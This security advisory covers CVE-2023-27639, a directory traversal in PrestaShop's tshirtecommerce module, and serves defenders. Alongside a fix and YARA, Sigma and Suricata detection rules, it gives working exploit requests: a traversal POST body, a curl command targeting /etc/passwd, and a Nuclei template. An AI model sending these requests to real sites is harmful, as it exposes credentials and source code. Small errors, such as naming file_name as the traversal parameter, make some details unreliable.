CVE-2023-27639

Executive Summary

CVE-2023-27639 is a critical directory traversal vulnerability in the tshirtecommerce (Custom Product Designer) module version 2.1.4 for PrestaShop. The flaw resides in the ajax.php?type=svg endpoint, where the file_name POST parameter is not sanitized, allowing an unauthenticated remote attacker to traverse directories and read arbitrary XML-parsable files on the server. This includes sensitive configuration files, source code, and database credentials. The vulnerability was actively exploited in the wild in March 2023. The provided Nuclei template confirms the exploit path and impact.

Supply Chain & Package Security

This vulnerability affects a third-party PrestaShop module (tshirtecommerce). Since PrestaShop is a PHP-based e-commerce platform, the supply chain risk is high: compromised modules can lead to full site takeover, data exfiltration, and lateral movement within the hosting environment. No official patch has been released, making this a persistent threat for all users of the module.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

Threat Level: High. The vulnerability is trivial to exploit, requires no authentication, and can expose critical system files.

Deep Dive & Mechanics

The vulnerability is a classic Path Traversal (CWE-22) in the ajax.php script of the tshirtecommerce module. The endpoint /tshirtecommerce/ajax.php?type=svg accepts a POST parameter file_name. The application fails to validate or sanitize this parameter, allowing an attacker to inject path traversal sequences (e.g., ../) to navigate outside the intended directory.

The exploit works by sending a POST request with:

• url=.%2F..%2Fvendor%2Fjdorn%2Fsql-formatter%2Fexamples (URL-encoded relative path)
• file_name=examples.php

The server then reads the file at the traversed path and returns its contents. The restriction is that only files that can be parsed as XML are readable, but this still includes PHP files (which are often not strictly XML but can be parsed) and configuration files.

Root Cause: Lack of input validation on the file_name parameter. The application does not check for path traversal sequences or restrict the base directory.

Vulnerable vs. Patched Code

Vulnerable Code (tshirtecommerce 2.1.4):

// ajax.php (simplified)
$file_name = $_POST['file_name'];
$file_path = $_POST['url'] . '/' . $file_name;
$content = file_get_contents($file_path);
echo $content;

Patched Code (hypothetical):

// ajax.php (patched)
$base_dir = '/var/www/html/tshirtecommerce/';
$file_name = basename($_POST['file_name']);
$file_path = realpath($base_dir . $file_name);
if (strpos($file_path, $base_dir) !== 0) {
    die('Invalid path');
}
$content = file_get_contents($file_path);
echo htmlspecialchars($content);

The patched version uses basename() to strip directory components, realpath() to resolve the absolute path, and then checks that the resolved path starts with the allowed base directory.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A PrestaShop instance with tshirtecommerce module 2.1.4 installed.
• Network access to the /tshirtecommerce/ajax.php?type=svg endpoint.

Exploit Steps:

1. Identify the target: https://target.com/tshirtecommerce/ajax.php?type=svg
2. Send a POST request with the following body:

   url=.%2F..%2Fvendor%2Fjdorn%2Fsql-formatter%2Fexamples&file_name=examples.php
   

3. The server responds with the contents of examples.php (or any other file).

Example using cURL:

curl -X POST "https://target.com/tshirtecommerce/ajax.php?type=svg" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "url=.%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&file_name=passwd"

Expected Output: The contents of /etc/passwd (if XML-parsable) or an error if not.

Blue Team (Detection & Response)

Detection:

• Monitor HTTP POST requests to /tshirtecommerce/ajax.php?type=svg with suspicious file_name or url parameters containing ../ or ..%2F.
• Look for unusual file reads (e.g., /etc/passwd, config.php, .env).

Response:

1. Immediately block the attacking IP at the WAF or firewall.
2. Disable or remove the tshirtecommerce module.
3. Check server logs for any successful file reads.
4. Rotate all credentials that may have been exposed (database, API keys, etc.).
5. Conduct a full forensic analysis of the compromised server.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /tshirtecommerce/ajax.php?type=svg with file_name containing ../ or ..%2F.
  • Outbound connections from the server to unknown IPs (data exfiltration).
• File System IOCs:
  • Unexpected access to files outside the web root (e.g., /etc/passwd, /var/log/).
  • Modified or new files in the tshirtecommerce directory.
• Log IOCs:
  • Web server access logs showing POST /tshirtecommerce/ajax.php?type=svg with file_name parameters containing path traversal sequences.

Detection Engineering

YARA Rule

rule CVE_2023_27639_Directory_Traversal {
    meta:
        description = "Detects directory traversal attempts against PrestaShop tshirtecommerce module"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-27639"
    strings:
        $traversal1 = "..%2F" nocase
        $traversal2 = "../" nocase
        $traversal3 = "..\\" nocase
        $endpoint = "/tshirtecommerce/ajax.php?type=svg" nocase
        $param_file = "file_name=" nocase
        $param_url = "url=" nocase
    condition:
        all of ($endpoint, $param_file) and any of ($traversal*)
}

Sigma Rule

title: CVE-2023-27639 Directory Traversal in PrestaShop tshirtecommerce
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects directory traversal attempts against the tshirtecommerce module
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/tshirtecommerce/ajax.php?type=svg'
        cs-uri-query|contains|all:
            - 'file_name='
            - '..'
    condition: selection
falsepositives:
    - Legitimate use of relative paths (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-27639 PrestaShop tshirtecommerce Directory Traversal";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/tshirtecommerce/ajax.php?type=svg";
    http_uri;
    content:"file_name=";
    http_client_body;
    pcre:"/(\.\.\/|\.\.%2F)/i";
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
)

Nuclei Template (Provided)

id: CVE-2023-27639

info:
  name: PrestaShop TshirteCommerce - Directory Traversal
  author: MaStErChO
  severity: high
  description: |
    The Custom Product Designer (tshirtecommerce) module for PrestaShop allows HTTP requests to be forged using POST and GET parameters, enabling a remote attacker to perform directory traversal on the system and view the contents of code files.
  impact: |
    Unauthenticated attackers can exploit directory traversal in the Custom Product Designer module to read arbitrary files including source code and configuration files, potentially accessing database credentials and sensitive PrestaShop configuration.
  remediation: |
    Update the Custom Product Designer (tshirtecommerce) module for PrestaShop to a patched version that validates file paths and prevents directory traversal in ajax.php.
  reference:
    - https://www.cvedetails.com/cve/CVE-2023-27639/
    - https://security.friendsofpresta.org/module/2023/03/30/tshirtecommerce_cwe-22.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27639
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-27639
    cwe-id: CWE-22
    epss-score: 0.8102
    epss-percentile: 0.99161
    cpe: cpe:2.3:a:tshirtecommerce:custom_product_designer:*:*:*:*:*:prestashop:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: tshirtecommerce
    product: custom_product_designer
    framework: prestashop
    google-query: inurl:"/tshirtecommerce/"
  tags: cve,cve2023,prestashop,tshirtecommerce,lfi,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/tshirtecommerce/ajax.php?type=svg"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "url=.%2F..%2Fvendor%2Fjdorn%2Fsql-formatter%2Fexamples&file_name=examples.php"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "SqlFormatter Examples"
          - "SqlFormatter"
          - "<?php"
        condition: and

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

1. Disable the module: Remove or disable the tshirtecommerce module from PrestaShop until a patch is available.
2. Web Application Firewall (WAF): Create a rule to block POST requests to /tshirtecommerce/ajax.php?type=svg with file_name or url parameters containing ../ or ..%2F.
3. File Permissions: Ensure that sensitive files (e.g., config.php, .env) are not readable by the web server user.

Long-term Fix:

• The vendor must release a patched version that validates file paths using basename(), realpath(), and a whitelist of allowed directories.
• Implement input validation and sanitization for all user-supplied parameters.
• Use a secure file reading function that restricts access to a specific directory.

Monitoring:

• Continuously monitor web server logs for directory traversal attempts.
• Use the provided YARA, Sigma, and Suricata rules for automated detection.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: CEED7412140EBC81BD043599] */}